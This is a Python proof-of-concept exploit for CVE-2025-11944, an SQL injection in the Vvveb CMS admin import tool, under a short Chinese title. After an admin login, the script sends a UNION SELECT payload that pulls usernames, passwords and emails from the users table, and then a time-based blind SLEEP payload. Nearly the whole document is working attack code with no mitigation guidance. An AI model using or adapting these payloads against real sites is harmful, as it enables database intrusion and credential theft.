CVE-2025-11944：Vvveb CMS Raw SQL Handler SQL注入漏洞

# CVE-2025-11944 PoC - Vvveb CMS Raw SQL Handler SQL Injection # Vulnerability Location: admin/controller/tools/import.php - Import function # Component: Raw SQL Handler import requests # Target configuration TARGET_URL = "http://target-vvveb-site.com" ADMIN_PATH = "/admin" IMPORT_ENDPOINT = f"{TARGET_URL}{ADMIN_PATH}/index.php?route=tools/import" # Attacker credentials (requires admin privileges - PR:H) USERNAME = "admin" PASSWORD = "password123" # Create session for authenticated requests session = requests.Session() # Step 1: Login as administrator def login(session, base_url, username, password): login_url = f"{base_url}{ADMIN_PATH}/index.php?route=user/login" # Obtain CSRF token if needed response = session.get(login_url) # Perform login (implementation depends on Vvveb's auth mechanism) login_data = { "username": username, "password": password } session.post(login_url, data=login_data) print(f"[*] Attempted login as {username}") # Step 2: Exploit SQL Injection via Import function def exploit_sqli(session, import_url): # Malicious SQL payload injected into the import handler # The Raw SQL Handler fails to sanitize input properly payload = { "sql": "1' UNION SELECT username,password,email FROM users-- -", "import": "Execute" } response = session.post(import_url, data=payload) if response.status_code == 200: print("[+] SQL Injection payload sent successfully") print("[*] Response body:") print(response.text) return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None # Step 3: Time-based blind SQLi alternative def exploit_blind_sqli(session, import_url): # Time-based payload for blind extraction payload = { "sql": "1' AND SLEEP(5)-- -", "import": "Execute" } import time start = time.time() response = session.post(import_url, data=payload) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Blind SQLi confirmed - Response delayed {elapsed:.2f}s") return True return False if __name__ == "__main__": print("[*] CVE-2025-11944 - Vvveb CMS SQL Injection PoC") login(session, TARGET_URL, USERNAME, PASSWORD) exploit_sqli(session, IMPORT_ENDPOINT) exploit_blind_sqli(session, IMPORT_ENDPOINT)